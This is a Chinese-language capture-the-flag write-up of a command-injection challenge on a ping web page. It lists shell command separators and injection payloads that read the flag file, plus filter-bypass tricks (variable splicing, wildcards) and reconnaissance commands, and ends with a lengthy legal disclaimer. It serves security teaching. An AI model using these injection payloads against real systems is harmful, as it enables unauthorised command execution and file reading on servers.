【BUUCTF系列】[ACTF2020 新生赛]Exec 1
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
- 题目分析与初步判断
- 初步观察
- 漏洞特征分析
- 后续验证建议
- 常用命令分隔符
- 实际利用步骤
- CTF技巧扩展
题目分析与初步判断
初步观察
- 功能识别:
- 打开靶机网址后,显示一个与PING功能相关的网页界面
- 查看网页源代码未发现明显提示信息
- 基本测试:
- 输入
127.0.0.1
进行PING测试 - 成功收到PING响应结果,确认基础功能正常运作
漏洞特征分析
- 技术实现推测:
- 根据返回结果的特征和题目的名称,推测后端可能使用了PHP的
exec()
或system()
等命令执行函数 - 这些函数能够直接调用系统shell执行命令
- 漏洞类型判断:
- 基于"用户输入直接拼接系统命令"的典型模式
- 结合题目提示和初步实验结果
- 初步判定存在命令注入漏洞(Command Injection)
- 验证方向:
- 需要进一步测试是否存在命令分隔符注入可能
- 验证是否能够执行非PING相关系统命令
后续验证建议
- 基础注入测试:
- 输入
127.0.0.1
有正常ping返回 - 尝试添加命令分隔符如
127.0.0.1; ls
测试响应127.0.0.1; whoami 127.0.0.1 && ls /
- 结果分析:
返回了当前用户信息或目录列表,则确认命令注入漏洞存在
- 深入利用:
- 尝试读取系统文件
- 探测服务器环境信息
- 寻找flag文件位置
127.0.0.1; tac /flag
成功拿到flag
常用命令分隔符
; # 顺序执行多条命令
| # 管道符,将前命令输出作为后命令输入
|| # 前命令失败则执行后命令
& # 后台执行
&& # 前命令成功则执行后命令
$(cmd) # 命令替换
`cmd` # 命令替换(反引号)
实际利用步骤
- 探测系统信息:
127.0.0.1; uname -a
- 列出目录文件:
127.0.0.1; ls /
- 读取flag文件:
(使用127.0.0.1; tac /flag
tac
而非cat
是为了绕过可能的简单过滤)
CTF技巧扩展
-
绕过过滤技巧:
- 使用编码:
127.0.0.1; echo "flag" | base64
- 使用变量拼接:
127.0.0.1; a=l;b=s;$a$b
- 使用通配符:
127.0.0.1; cat /f*
- 使用编码:
-
信息收集命令:
; find / -name "*flag*" ; ifconfig ; whoami ; id
这道题目展示了最基本的命令注入利用方式,在实际渗透测试中,可能需要结合更多技巧绕过安全防护措施。
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。